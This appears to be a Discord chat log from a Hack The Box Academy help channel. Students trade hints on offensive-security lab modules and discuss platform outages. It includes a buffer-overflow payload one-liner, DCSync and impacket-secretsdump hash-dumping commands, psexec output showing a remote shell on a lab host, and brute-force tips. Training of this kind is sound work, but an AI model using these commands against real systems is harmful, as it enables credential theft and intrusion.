I've been trying for days to find Will's password, I used the resources provided for the lab, mutated the password and used the custom rule provided, tried the password list generated on the ftp and Smb services that are open on the target, but the password cannot be found. Can someone hint me where I'm doing wrong?

[hallow kiln]

Pretty much, I check for RDP after I have creds generally

[haughty stirrup]

rdp and winrm for sure haha

[vivid mica]

is here only Pc or too Android ?

[urban sage]

You could probably try academy from android yes. External keyboard would be helpful and it's probably a bit painful.

[rustic sage]

Can someone tell me where can i ask for help for buffer overflow

[vivid mica]

Nice

how make a Mod Menu on Android Phone for Games ?

[cobalt osprey]

run $(python -c "print('\x55' * 786 + '\x90' * 100 + '\x44' * 150 + '\x66' * 4)")

after inserting the following payload, I should have the value in the EIP 0x66666666 but I continue to have 0x44444444, it is in the buffer stack overflow module
can someone help me

[urban sage]

That's not really in scope for this channel. 🤷‍♀️

[hushed ivy]

I logged in with imap, but I cannot receive messages, it gives an error.

[fathom pendant]

Imap requires a prefix

[urban sage]

I haven't done that module but presumably from the output, your offsets are off.

[fathom pendant]

<literally anything> <command> <argument>

[cobalt osprey]

is the same as the example but i added the () of the print but is wrong even if i paste the example one

[solid python]

Read the purpose of this channel, and more widely this server

#welcome

[vivid mica]

See my Name

I,m Game Hacker

[solid python]

This isn't relevant to the channel, reading comprehension is a requirement

[urban sage]

It could be the example isn't accurate then.

[fathom pendant]

Then how did you get here

[solid python]

@vivid mica use this channel appropriately or the permission to speak here will be removed

[vivid mica]

Ok

[cobalt osprey]

it works from the ssh test but it is not working from my vm, i think becouse from the ssh the gbd is (gbd) and from my vm is gef

[urban sage]

Yeah. Environment changed so the offsets did too.

[next bronze]

aslr is disabled for the target

[cobalt osprey]

but it shouldn't be the same?

[fathom prairie]

@next bronze @haughty stirrup Forgot to say, thanks for the help I got it

[urban sage]

Not necessarily nope. Different protections can be enabled on systems and just changing from GDB to not GDB for example while shift things slightly. Usually not a huge amount but a little bit.

[cobalt osprey]

ty so much

[next bronze]

gef is just a plugin for gdb btw, so that shouldn't change anything

running on a different machine with aslr enabled would though

[hushed ivy]

1 FETCH BODY[] ?

[fathom pendant]

You still need to specify which item you're getting the body[] from

[candid lily]

why cant i use dcsync?

i gave myself the rights but still it says access denied

[fathom pendant]

Force gpupdate

[pallid bane]

Anybody super familiar with DNS enum using gobuster? I’m working on the ||Devvortex|| box which I know has an exposed subdomain but no matter which SecList subdomain wordlist I use it’s not finding anything

[fathom pendant]

#boxes , read and follow #welcome

[dry pumice]

Hi, I'm working on the module Introduction to Windows Command Line and I don't understand how the answer to this question is not ||PackageManagement||

[fathom pendant]

Reading the section should give you the answer

[candid lily]

AD Begginer -> what ACL should i write i dont know how to find it

[fathom pendant]

@solid python

[manic onyx]

DCSync

[candid lily]

i added it but dcsync still gives me error

[fathom pendant]

<@&861185840277487616>

[candid lily]

AD module was easier than this documenting and reporting lmao

[manic onyx]

Make sure you're in the right user context

[candid lily]

yes i am

i think the policy is not updated on the DC maybe

[manic onyx]

What module is this?

[candid lily]

documenting and reportinhg

[fathom pendant]

Did you do the privilege::debug?

[candid lily]

i dont have debug privilege

and i think we dont need it

[fathom pendant]

Did you sign out and sign back in?

[candid lily]

yes

it is not DC tho

[drifting urchin]

can anyone tell me why this is not working, when clearly the target is below and I am trying to nmap it?

[fathom pendant]

Try changing vpn regions and respawning target

[ashen night]

Did you try it with the -Pn like the error says?

[dry halo]

the apt command mentioned in the module isn't working the parrot guys arent supporting. I tried the pipx way mentioned in their installation wiki but it isn't working any idea

[next bronze]

use netexec https://www.netexec.wiki/getting-started/installation/installation-on-unix

[dry halo]

I tried building from source but it is just taking a lot of time

[next bronze]

same but better

[drifting urchin]

thank you! switched to US vpn, now it works. The problem is that it still doesn't work on my kali VM, even though I am connected to the VPN 😄

[lapis pelican]

Yay! Small module, but it's a win!

[lapis pelican]

Did you try sudo apt install cme? That installs crackmapexec which you can launch as cme.

[analog dock]

Just download netexec and use nxc instead

[fathom pendant]

Don't run pwnbox and vpn simultaneously

[next bronze]

installing python packages with apt is not ideal as well. pip and pipx are designed for that

[long basin]

Anyone able to provide a sanity check/nudge for ADVANCED SQL INJECTIONS - Skills Assessment
(https://academy.hackthebox.com/module/188/section/2004)
||Have done a code review to find the vulnerable API and have a small proof of concept one liner to display boolean injection||

[storm stratus]

Hey Everyone! I’m currently enrolled in the SOC Analyst Path and I am in the Splunk Fundamentals module. I’m in the Intrusion Detection With Splunk section and I’m literally stuck in 1 question.
“Navigate to http://[Target IP]:8000, open the “Search & Reporting” application and find through an SPL search against all data any suspicious loads of Clr.dll that could indicate a C# injection/execute-assembly attack. Then, again through SPL searches, find if any of the suspicious processes that were returned in the first place were used to temporarily execute code. Enter its name as your answer. Answer format:_exe”
If anyone has solved this and could give me an idea, that would be great.

[dry halo]

I did this but the syntax is weird. nxe works like charm though

[gaunt sluice]

hello,
is there any workaround for the bad remote desktop to the target machine ?

i am using xfreerdp and tryed mrd and it is same . all connection get cut after secounds

[next bronze]

use tcp for vpn

[long basin]

I would recommend doing a basic search for the keyword clr.dll | stats count by ProcessName ParentProcessName so you can sort by related process the exact query doesnt have the right syntax but you should get the idea. One more thing you can do here is research common processes that are used to execute malicious code as the answer to this question is something you will surely get used to seeing.

[drifting urchin]

even though its terminated, I still canot nmap it on the kali VM.. I think I cant connect to the VPN for some reason..

[fathom pendant]

There have been issues

You downloaded a new vpn after changing it for pwnbox yeah?

[drifting urchin]

yes, I have. The US-1 vpn file

[fathom pendant]

Just making sure, bc I've done that before lol

[dreamy solar]

hey I don't find this answer but I do that there is in the module ATTACKING COMMON APPLICATIONS Attacking WordPress

[fathom pendant]

Why not check /home/

But also I do see a user in your screenshot

[topaz holly]

I am in the mainframe.

[drifting urchin]

but still its super strange, since it says im connected to the vpn, and my IP doesn't change..

[fathom pendant]

Ah it's arbitrary file-read

[dreamy solar]

webadmin et mrb3n

[next bronze]

look for wordpress users, not system users

[dreamy solar]

how?

[fathom pendant]

Ohhh that makes way more sense

[fathom pendant]

$Webroot/wp-users/ or something like that yeah?

[next bronze]

can't remember off the top of my head but yeah

[topaz holly]

Woah the website finally now offers a visual warning when they expect their servers to have problems spawning targets! It shows up at the top of the screen in a red bar for those wondering.

There used to be a way to find wpusers with ?author=0, or ?author=1.

Does anybody remember that?

[dreamy solar]

this?

[fathom pendant]

No

$webroot was my way of saying whatever backend service webroot is

[candid lily]

use wpscan

[fathom pendant]

They just added it

[topaz holly]

It happens to be misleading because I spawned pwnbox and the target. I'll take the victory. 0 packet loss.

[fathom pendant]

It's not misleading bc other users are experiencing issues lol

[topaz holly]

I get it. Just saying that because before I would have issues when I didn't expect to but now this time I expected to and then didn't.

[drifting urchin]

anyone has idea why after supposedly being connected to the VPN on Kali VM, it still doesn't change my IP?

[topaz holly]

Are you looking at the correct interface?

In my case, I don't use my wlan0 interface, or in other cases perhaps my eth0 interface. Instead, to connect to HTB I would use my tun0 interface.

[fathom pendant]

Your ip won't change, its a split tunnel - not a traffic redirect

[drifting urchin]

looking at tun0, but it remains the same

[topaz holly]

Try using the tun0 address.

[fathom pendant]

Your tun0 if you're only running the htb vpn will be like 10.10.x.x

If you're using other tunnel vpns then it'll be whatever tunX that was set when you ran it

[drifting urchin]

well mine is 10.10.16.66

I am trying to scan this

so I just nmap this target and just remains blank

[topaz holly]

That's probably because nmap is using your wlan0 or eth0 address by default.

[dreamy solar]

I use but I have not users

[fathom pendant]

Probably an error log will show

Also if you have multiple htb vpns running that can also be a reason

[drifting urchin]

I restarted the machine but didn't help

its strange that after the Initialization Sequence Completed, there are these 2 messages.. shouldn't the "completed" message be last?

[fathom pendant]

Nope those last bits are normal

[topaz holly]

Try this, after connecting to the VPN.

Add -e tun0 to the arguments

For instance,
nmap -e tun0 -sV 10.13.33.70 -v

[drifting urchin]

unfortunately, doesn't help... btw does this ovpn connecton work on a pwnbox machine at all, or its meant to work only on labs?

[fathom pendant]

It's likely a thing relating to the spawning issues

[topaz holly]

Ah I thought you were in your local machine. You're experiencing these problems from within pwnbox?

[fathom pendant]

You may need to change vpn regions

[fathom pendant]

No they stated the issue is within their kali

[topaz holly]

What was the error it said?

[fathom pendant]

The pwnbox links to the vpn automatically

[drifting urchin]

so I switched again the VPN, now I have a tun1 interface as well, but when I nmap the pwnbox, still remains paused

[fathom pendant]

You should close the vpn when you change regions/download a new pne

sudo killall openvpn

And start the new one

[drifting urchin]

yes I did that, also downloaded the new one, and started it.. but still xD..

[fathom pendant]

If you have a tun1 then there's another process that is still holding the tun0

[dreamy solar]

yes but I must to have a user for use webroot ?

[drifting urchin]

the only thing which has changed is that I have a tun1 interface, before it didn't even appear when I was connected to a different region

[fathom pendant]

Restart your vm then run the openvpn command again

[dreamy solar]

you will really help me, I think if not stop for today I am going crazy in front of this chapter ^^'

[fathom pendant]

Dude I haven't done this module just proposing ideas

[dreamy solar]

I understand no worries

[tribal linden]

Can anyone do a sanity check on Advanced CSRF module, section XSS Filter Bypasses?

[drifting urchin]

so I restarted it, now I have the tun0 interface, it popped up after connecting to the VPN, however trying the below commands but no progress. I think its a problem with HTB

[fathom pendant]

then come back to it later ¯_(ツ)_/¯

Also 🗞️ don't be running around your system as root

Fuckin christ

[molten prawn]

@opal jewel sorry for the ping man. im in attacking common applications - thick client applications . im not stuck but when i try to RDP into the windows box, its just extremely slow i cant even run anything. was it the same for you or ?

[tribal linden]

@molten prawn When I did that module a month or so ago, it ran ok for me

[molten prawn]

for me its so slow i cant run anything

im using xfreerdp

[tribal linden]

I have had that issues occasionaly while rdp'ing into stuff on htb.

[molten prawn]

ive never had it

do you think Remmina would be faster a little or it has to do with the target machines issue ?

[fathom pendant]

Remmina will be the same

[molten prawn]

good to know, thanks.

[opal jewel]

Ive never had issues with rdp sessions but i know it happens to people

I mean make sure you are giving ok amount of resources to a vm or maybe try attackbox

[lapis pelican]

@opal jewel bread guy

[rustic sage]

Thank you very much. i got the password 🙂

[opal jewel]

[lapis pelican]

stab the bread not me.

[fathom pendant]

What does this have to do with htb academy?

[jagged saddle]

academy look cool, but the price

[fathom pendant]

Skill issue tbh

[gusty gust]

Nevermind 👀

[fathom pendant]

Read #welcome to figure out how to access more of the server to ask in a relevant place

[unique yarrow]

wtf ?

[fathom pendant]

Yes? Can I help you?

[unique yarrow]

"Skill issue tbh"

[fathom pendant]

Ok? And it's in reference to the price of academy, clearly not being serious

[jagged saddle]

fair

[fathom pendant]

Htb academy is, in general, cheaper for the overall quality of the content

[unique yarrow]

hm ah

[fathom pendant]

As opposed to, say, pen200/oscp

[unique yarrow]

got it y ur true

[fathom pendant]

Multiple people have attested that oscp was child's play compared to cpts

[unique yarrow]

yea

[fathom pendant]

Heck some people are using the cpts course to prep for oscp

[teal breach]

hello, anyone facing timeout when trying to rdp to the machine ?

[fathom pendant]

Try changing to tcp download. Or changing vpn region altogether

[dreamy trail]

Is no one else having this issue? It's practically unusable and making each module exercise take at least 10x longer than it should

[teal breach]

thanks.. gonna try it

[fathom pendant]

If only there was some sort of warning that boxes were having issues

The box spawning issues also relates to the stability issues

[dreamy trail]

Spawning targets...?

[fathom pendant]

Yes

[winged elm]

I'm just waiting for the people to spam the blogs for the CPTS vs OSCP review 😄

[fathom pendant]

Pspsps @slender shoal

[tight wyvern]

I am having the same issue. Changing servers does nothing. No targets will spawn for me.

[slender shoal]

one sec

CPTS Videos

https://www.youtube.com/live/wwmCHeYd1I4

https://youtu.be/dRW1Gxmu__Q

https://youtu.be/UN5fTQtlKCc

https://www.youtube.com/watch?v=-5s2R0Mldgw

Blogs
https://eatthebuffet.github.io/posts/CPTS-or-OSCP/

https://medium.com/@0xp/why-htbs-cpts-exam-will-become-the-standard-for-modern-day-penetration-testers-34668fde209f

https://0xfa7e.github.io/post/cpts-vs-oscp/

[winged elm]

pspsps @next bronze

[fathom pendant]

I think you're missing @next bronze blog

[next bronze]

smdh buffet I thought you were cool

[slender shoal]

https://xre0us.github.io/posts/cpts-oscp-and-you/

[next bronze]

just copy from this next time lmao #cpts message

[winged elm]

although, I have a question. How was initial access tricky, yet you still got everything in 4 hours lol?

[next bronze]

it's trickier compared to what I've heard, but still easy to me

[slender shoal]

Servers are having issues.

[molten prawn]

call me sick but my attackbox is my host lol

[winged elm]

C'mon you gotta sell the CPTS, you need to add that with CPTS training you also can figure it out 😄

[molten prawn]

and a new update on the machine. it does not even connect

[next bronze]

that's pretty much what I said in the blog no? 😅

[molten prawn]

like i connect but after a couple minutes it kicks me out

stating network disconnected

[slender shoal]

HTB is having some issues at the moment. Try to change VPN servers.

[molten prawn]

i did

on the other servers, the vpn connection works fine but the target machine wont spawn

but on this server, the target machine spawns but i get kicked out a coulpe minutes after connecting to the rdp

its fine tho. i just hope it gets fixed soon

[winged elm]

True, I meant in the message. Marketing is everything 🙂

[dreamy trail]

They spawn fine for me, just basically unusable after that. Been the same for about a week now 😫

[tight wyvern]

Unusable how? Are you connecting to the vpn successfully?

[dreamy trail]

Yes can connect to VPN fine, and spawn targets fine. But after connecting to them, they are very laggy (like via SSH it can take 5-10 seconds just to recognise keystrokes) or RDP will lag and disconnect often.

[teal breach]

mine not working too😅

[analog dock]

Still nervous 😄

[onyx dust]

gentle reminder that when world of warcraft suffered a ddos for less than a week they gave everyone a month sub to make up for it

this is unacceptable business practice. customers have no sympathy for upstream providers. it's not their problem but paying money for access to resources that doesn't work, is.

[rough acorn]

I am doing "Password Attacks > Protected Files"'s exercise. It's asking to use Kira's password cracked prior to this exercise. I have memories of getting such a user some days ago, but I can't remember the password. I also can't find the exercise where you get it. Does someone have the password?

[onyx dust]

check your dm

[rough acorn]

Sorry, I meant Kira's password, not the answer to the exercise

[acoustic owl]

Nobody learns anything by simply sharing answers to tasks

[rough acorn]

As explained above, I already did the exercise to get Kira's password some days ago, but I don't have it anymore and it's required to start the exercise I was at.

[solid python]

Some exercises rely on prior module answers

Try retracing your steps to see if you can't grab it again

[rough acorn]

I can't even find the exercise again

[native turtle]

guys I'm stuck in socks over RDP section, I can't load the dll file because regsvr32 recognize it as a virus and then it delete it

[acoustic owl]

You have to deactivate RealTimeProtection

[native turtle]

never mind I figured out

thanks

[sturdy otter]

Currently in the AD Enum Module. Played a bit with --loggedon-users in cme/nxc.

cme/nxc shows a bunch of users, while when I check directly on the server either with task manager or commands like "query user" or "qwinsta" etc. it only shows my currently logged in user and not all those users cme/nxc shows. On the other hand I logged in with several users on another server and its not showing anything in cme/nxc while there are currently a bunch of users logged in to the server. So take this a bit with a grain of salt? Or am I misinterpreting something? Like Users connectec via SMB etc.

[twilit rose]

Hack The Box Exhibition CTF whats the Input key to access event ?

[solid python]

This event is private and invite only

Also, this channel is for questions regarding academy modules

#welcome

Check this channel out for verification steps to see the other channels

[solar flicker]

you should do some offsec course labs and then complain

I also get what youre saying though

but tbf WoW has a higher revenue than htb

[onyx dust]

I have done all the offsec labs and pg. I have my oscp as well.

I tell everyone that htb academy is the best quality content even tho it isn't perfect. I have done every equivalent training in this space to make the comparison (pnpt certified as well)

Offsec labs and pg has reliable uptime btw. If you are hoping to make a comparison based on service availability there isn't one.

[sand heron]

hey, slightly off topic but can anyone confirm if the instances on Season 4 POV are working fine. They wont start due to some server error.

[fathom pendant]

#1080884182336675872 is a good place to discuss

[sand heron]

i cannot access this

[fathom pendant]

if you can't see it, read and follow instructions in #welcome

:)

[sand heron]

got it, thanks

[thorn urchin]

I actually agree. I think people make the lab reliability a bit overblown. Used to be way worse and sentiment has carried over a bit I think. But the modern labs seem fine.

I had some exam lab issues with them but that was almost entirely just their proctoring software sucking ass.

[analog dock]

There literally was an outage 2 days ago but ok

[next bronze]

I spent two weeks on the course and it went down like 4 times

[solar flicker]

source: his experience

[analog dock]

Source: facts

[solar flicker]

dude

i was talking about the other guy

not you 😭

[analog dock]

Idk wtf ur saying lol

[thorn urchin]

lets be fair though. HTB has also been experiencing outages recently

[analog dock]

Yup

[thorn urchin]

they were agreeing with you

[next bronze]

how long did this last

[winter arrow]

Hallo, I'm stack on ACTIVE DIRECTORY BLOODHOUND skills assesment last question (Find the percentage of users with a path to GLOBAL ADMINISTRATOR. Submit the number as your answer (to two decimal points, i.e., 11.78)). I tried all things, a have found all users, but I can't issue that. Can somebody help me?

[analog dock]

A day or so

[solar flicker]

I'm saying he said that theres "0 comparison" and that "offsec is reliable" (i.e his experience was reliable) but thats not the case for everyone

so the source was his experience not fact

[analog dock]

Ok

[next bronze]

I forgot the exact way to do it but you can get the ballpark number and bruteforce the decimals, after you get the answer you can work backwards to find out how to get it

[onyx dust]

I got my oscp last December

Htb outage lasting all week 💅

[winter arrow]

thanks, I'll try

[winter arrow]

IT WORKS THANK YOU. I have tryed that for 2 days, and I have already right answer, but HTB isn't took it

[placid edge]

im doing the dssync module rn and the command Get-DomainUser doesnt exist

yet in the module it seems to work fine

anyone else had this issue?

[next bronze]

import powerview

[placid edge]

oh lol

thanks

[astral inlet]

hi, is it possible that the ssh brute on " Create a mutated wordlist using the files in the ZIP file under "Resources" in the top right corner of this section. Use this wordlist to brute force the password for the user "sam". Once successful, log in with SSH and submit the contents of the flag.txt file as your answer.
" runs about 16 hrs ?

[onyx dust]

Use ftp instead

[obsidian flower]

@here please I need help using the elastic kibana to search for windows event logs. i tried the input for unsuccessful login but i have got no results

@autumn pilot please I need help using the elastic kibana to search for windows event logs. i tried the input for unsuccessful login but i have got no results

[autumn pilot]

which module and section is that from

[obsidian flower]

how to identify available data

[obsidian flower]

how to identify available data

[autumn pilot]

ok, from which module and section is that?

[obsidian flower]

its the SOC Analyst module on Security Monitoring and SIEM fundamentals

[autumn pilot]

make sure you have set up the time correctly, e.g., last ~15 years

[obsidian flower]

its says no result match search criteria when i use '4625'

[pastel wren]

hello everyone

i'm new

i don't know nothing about hacking but i want to learn about it

[slim depot]

use htb academy

[pastel wren]

yes i'm in the htb academy

[thorn urchin]

this channel is for discussing modules specifically

[pastel wren]

where i can write?

[thorn urchin]

if you want to know where to start module wise thatd be a more appropriate question

[next bronze]

@rapid sparrow is that your clone?

[thorn urchin]

read #welcome and #rules

[rustic sage]

Can't spawn target or pwnbox, any updates on the ETA until it's back to normal?

[cursive cradle]

Wasn’t there a beginning bible?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[limber river]

I can't switch vpn neither spawn targets

[jolly jewel]

hi

im ezra

[thorn urchin]

#📣-announcements message

[gray shoal]

nice to meet you ,my name is Ezra too, are you israeli as well?

[fathom pendant]

this isn't a gen-chat

[gray shoal]

he just said hello and i said hello back

do we have generalchat somehwere tho?

[acoustic owl]

Here you go #general

[gray shoal]

i dont have access there

[acoustic owl]

If you have no access, read and follow #welcome

[gray shoal]

oh, thanks, and sorry

[acoustic owl]

No problem 😃

[thorn narwhal]

How do I verify my email on HTB website?

@acoustic owl

[gray shoal]

im trying but getting this This:
Account Identifier does not appear to be the right length (must be 60 characters long).

im in the setting of htb but the only number i see is my "student id"
am i missing something?

[acoustic owl]

You should get an email I think.

[acoustic owl]

You have to take the identifier from the main page (app), not from the Academy

[thorn narwhal]

thanks

also

Now that ive verified my email i can use pwnbox?

Also should i look into what type of hacker im looking to be before i become proficient?

im looking at grey hatted or white rn

[gray shoal]

im not professional, but i think you have to learn a lot before you even get the skills required to decide

[acoustic owl]

The PwnBox is available on the Academy but also on the main page.

[gray shoal]

can i pm you? related to not finding the identifier

[thorn narwhal]

id rather just learn to fix website's flaws and be a penetration tester

im 14 though, so im not engaging alot until im above 18

but its good to get an early start.

[gray shoal]

i learned networking and now im learning linux, afterwards i want to learn python and then subnetting, and then ill decide more, there is a lot to learn

[acoustic owl]

https://app.hackthebox.com/profile/settings

[thorn narwhal]

python is gonna be my first coding language i'll learn

Pwnbox has a loading instance for me

its taking pretty long

i get 2 hours per day right?

[gray shoal]

im in that link i dont see it there, only studnt id

[fathom pendant]

because you're likely signing into academy

[thorn narwhal]

im just a script kiddie rn

[fathom pendant]

check your url bar; does it say app.hackthebox.com or academy.hackthebox.com

[thorn narwhal]

im only on the starting point's first task

[fathom pendant]

on the app page; the 2 hours is lifetime

the per day is only for academy

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[fathom pendant]

set up your own vm and use the vpn

[thorn narwhal]

VM stands for?

how do i find out, its a question

[fathom pendant]

Virtual Machine

also Google is a free resource

"What does VM stand for"

[thorn narwhal]

is Jack a real person?

[fathom pendant]

also for any future bits please link your account to the discord so you can access #starting-point ; this channel is for academy modules not starting-point tasks

[thorn narwhal]

alright

how do i join academy? sorry for more questions

[fathom pendant]

go to the academy website and sign up

[thorn narwhal]

this is confusing

the tasks

[fathom pendant]

it's not at least for tier 0 stuff

again: link your htb account following the instructions in #welcome and you can ask in #starting-point

[thorn narwhal]

k got it

[gray shoal]

i dont have identiier number only student id, did i register wrong?

identifier

[fathom pendant]

look at the url; do you see academy.hackthebox.com or app.hackthebox.com

if you see academy.hackthebox.com you're in the wrong place for the identifier

the identifier is ONLY on https://app.hackthebox.com

it's not in academy (yet)

[acoustic owl]

^

[onyx dust]

do u work for htb

how come u know that

[fathom pendant]

know what?

[dense basalt]

Hello guys, I just recently got into HTB Academy and I'm stuck at the File Descriptors and Redirectors Module: Linux Fundamentals. after connecting to the machine, Im met with no directories no files, I have absolutely no idea what to do

[gray shoal]

my problem is that im logged in to the academy but for the app i need to enter password which i forgot, and recovery passowrd isnt working now, or delaying

[fathom pendant]

it's things they've talked about

[onyx dust]

it is going to academy

[onyx dust]

oh

[fathom pendant]

they've literally talked about things

[acoustic owl]

Then reach out to the support

[fathom pendant]

ls -la

[onyx dust]

speaking of file descriptors do u know it's cheaper on the computer to redirect to &- (a closed file descriptor) instead of /dev/null

it's also less keystrokes

[gray shoal]

do the app and the acdemy 2 different accounts or is it the same

[fathom pendant]

i mean most people nab their revshells from https://www.revshells.com/

[fathom pendant]

different accounts

[gray shoal]

ahhh thats why it doesnt recover my password. ill go ahead and registr. thank you for the help like always

[dense basalt]

what do I do now

[fathom pendant]

whatever you're required to do by the task

figure out what the question wants and go from there ¯_(ツ)_/¯

[dense basalt]

Got it, thanks a lot, man 🙂

[topaz holly]

Good evening

[rapid sparrow]

no, I am the real hecker

https://youtube.com/@hecker7?si=XgV-A9e1L1h9oPkm

[topaz holly]

Anybody have any idea why HTBA has been having so many connection issues lately?

Has this been the norm for a while? I've only recently joined the academy specifically but I never had trouble connecting to the boxes on HTB ever really. And I've used the platform for many years.

[fathom pendant]

upstream issues with their providers

this issue extended to the labs site as well

[topaz holly]

So has this issue only came up recently? Past few months or so? I genuinely don't remember ever having connection issues when I happened to be using HTB previously.

I will say though since the site has gotten a ton of updates I haven't used it as much due to life circumstances.

I think it's really cool academy exists now. The cert is relatively cheap so that's why I'm going for it. It seems like the first time I can actually afford to snag a cert. Most of what I've been learning isn't new to me, but I have picked up a bit of interesting insight here and there and became more attuned to using some neat tricks. I only started HTBA a few weeks ago and I've experienced connection issues most days haha.

[fathom pendant]

ye relatively recent

[topaz holly]

Alright cool. Good to know this isn't the norm at least. I'm sure they're working hard to get it working again. It's not entirely broken just been a little shoddy. And like you said the issue is with their providers, so there's not much they can really do.

I'm not mad. Overall I think the academy is a great resource. I've tried to refer some friends irl but man for some reason everyone thinks computer shit is hieroglyphics.

And I'm like the whole point is to learn 😭 and it's still too much 😦

Even for me theres so many modules I expect to learn some good shit, despite learning about this subject for a decade. You can always learn more and it's fun 🙂

[urban linden]

hello

how do I view a file I got from smb share?

[fathom pendant]

carefully

[urban linden]

eyes open?

lol

[fathom pendant]

if you used get to download the file, just exit smb and it should be right there in that directory

[urban linden]

thx

ls?

[fathom pendant]

try and see

[static karma]

AD module (kerberoasting from linux)
what powerful local group on the domain controller is the sapservice user a member of

Tried every group listed based on response and none works

Anyone plz help

[rustic sage]

on this module (Session Security > Cross-Site Request Forgery (CSRF or XSRF) in "Cross-Site Request Forgery"), does this just work assuming that we are still using "Ela Stienen"'s cookie? not completely sure how the details would end up at the server otherwise https://academy.hackthebox.com/module/153/section/1447

[twin nacelle]

UNDERSTANDING LOG SOURCES & INVESTIGATING WITH SPLUNK -
Intrusion Detection With Splunk : Q4 -
Navigate to http://[Target IP]:8000, open the "Search & Reporting" application, and find through SPL searches against all data the two IP addresses of the C2 callback server. Answer format: 10.0.0.1XX and 10.0.0.XX

how did anyone correlate the 2 IP's together ?
i was able to find the first one 10.0.0.1XX

but the 2nd one was just tough to find

since its for the same machine too

[modern epoch]

Not you but the victim. If no additional protections are supplied the browser will send the cookie automatically when the victim accesses the malicious link. In the exemple a POST method is used but the question ask for GET which keeps the behavior if dont additional protection are supplied, so the browser sends the cookie of the victim if he has a session in the vulnerable application.

[rustic sage]

so the malicious site will just grab the cookie and it has access to it because the user is logged in in another tab right?

[tribal linden]

Any one completed "ADVANCED XSS AND CSRF EXPLOITATION"
section "XSS Filter Bypasses"?

[modern epoch]

Well, the malicious site never touches the cookie. The csrf vulnerability exploits a way the browser behaviour by default. Like, if a user access an application the browser will check if the user has a session for that application and sends the cookie together, so this way the user experience is improved as the user doesn't need to authenticate again if he is already authenticated. If the the user hasnt logout the session still exists even if the tab is closed.

So, thats why this is called Cross site request forgery, a request done from a website to other that leverages the user already be authenticated

[rustic sage]

i see, thank you

[modern epoch]

You can dm

[grim arrow]

Hi All, in nmap Firewall and IDS/IPS evasion section it is mentioned that nmap -sA is hard to detect for firewalls which in my knowledge and experience wrong. Firewall keeps a connection table for each connection and state for it. If it receives an ACK flag packet it will drop it as it does not have any connection state for it. Please correct me if i am wrong. This was true in the case of stateless firewalls that are no more being used

[tranquil axle]

that module has received some criticism in regards to being not up to date. There are also parts about decoy scans and how they can be used to evade firewalls which isn't true anymore. I guess just try to not take this module too serious

[modern epoch]

Yes, actually the -sA option is used to help to map the firewall ruleset not to determine if the ports are opened/closed. That is stated in nmap documentation,
https://nmap.org/book/scan-methods-ack-scan.html

[hushed ivy]

Tom, I logged in via ssh and couldn't find anything. Tom cannot log in to msql. There is a second user. Where can I find it? Footprinting Lab - Hard

[simple loom]

Try to find the Sysmon EventCode that is related to network connections. Also search through the fields and try to identify which one could be related to the IP from a callback server 🙌🏼

[twin nacelle]

i tried to search for DNS queries that could relate to the same resolved IP and link them together

and look for vast network connections with ID=3

now for the first longer IP it was easy to identify since it was making some malicious wget calls like for SharpHound installation

but when i tried to relate it to its other IP i could't find any sudden change in IP or so within the events.

[simple loom]

Try identifying which machine contacted it and filter what other IPs did it connect to. Anyways, pm me if you want 🙂

[twin nacelle]

sure .. thx

[hollow furnace]

Remember the most common commands to run when you first gain access to someone's account, this should help

[analog hatch]

Can anyone help me with the question "Inspect the ICMP_smurf.pcapng file, part of this module's resources, and enter the total number of attacking hosts as your answer" from the IP Source & Destination Spoofing Attacks section of the Intermediate Network Traffic Analysis module? I've tried a few different filters but I cant seem to get the right answer and struggling to think of another filter that would work

[daring patio]

Hey, My account has been under verification process for a few weeks now, i have contacted support using email but no response, i have tried their chatbot and created a ticket but no reponse, could anyone help me regarding this matter?

@marble pond

@low fox

[hushed ivy]

Do I need to increase permissions?

[hollow furnace]

nope

[hushed ivy]

I entered mysql and there is nothing.

[hollow furnace]

DM me with your steps

[hushed ivy]

check

[amber breach]

Hi, i've got stucked at Digital Forensics , part: Skills Assessment:
Using VAD analysis, pinpoint the suspicious process and enter its name as your answer. Answer format: _.exe
I've created VAD related collection with adjusted suspicious content, but only processes i can see is svchost.exe processes.
Could someone help me with it?

[empty imp]

Somebody please fix the spawning issues 😭

This spawning issue, I've been facing it since November, and it's honestly annoying when my flow breaks.

I see #📣-announcements saying it's fixed, but it's not, well not for me anyways

I can help in testing if needed, but i desperately want it fixed.

NONE of the VPN servers configs succeed in spawning the boxes.

[placid edge]

anyone else having issues with the -just-dc tag in impacket-secretsdump? all it does is go to clean up

using the debug option i get told that the domain doesnt exist. tho in the module and without the -just-dc option it works fine

impacket-secretsdump -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@10.129.201.234  -debug

Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[+] Exiting NTDSHashes.dump() because SAMR SessionError: code: 0xc00000df - STATUS_NO_SUCH_DOMAIN - The specified domain did not exist.
[*] Cleaning up... 

[next bronze]

.local

[placid edge]

still same issue persists

impacket-secretsdump -outputfile inlanefreight_hashes -just-dc inlanefreight.local/adunn@10.129.201.234 -debug

[next bronze]

10.129.201.234 ? that's not the right ip

[placid edge]

nope its the correct iå

ip*

do i need to add the host INLANEFREIGHT.LOCAL into the etc/hosts file?

[next bronze]

if you're not using kerberos, shouldn't need to

what does the debug message show

[placid edge]

The specified domain did not exist.

[placid edge]

with this command

if i remove the -just-dc however it works fine

[next bronze]

I'm sure that's not the only thing it shows, but try to authenticate with netexec

[lapis delta]

Question: When doing skill assessments, is there "only one way" to break into the box or multiple? Or depends? Specifically talking about CBBH path

[fathom pendant]

It depends, usually it's straightforward a -> b -> c

It'll generally relate to the content you just read

[lapis delta]

cool thanks @fathom pendant

[placid edge]

netexec or psexec?

dont find netexec

[next bronze]

crackmapexec then

[placid edge]

psexec works fine

┌──(points㉿kali)-[~/Desktop/HackTheBox/academy]
└─$ impacket-psexec inlanefreight.local/adunn@10.129.201.234
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Requesting shares on 10.129.201.234.....
[*] Found writable share ADMIN$
[*] Uploading file nEALVIEh.exe
[*] Opening SVCManager on 10.129.201.234.....
[*] Creating service iMjr on 10.129.201.234.....
[*] Starting service iMjr.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

[next bronze]

I'm talking about crackmapexec/netexec

[placid edge]

alr ill check cme then

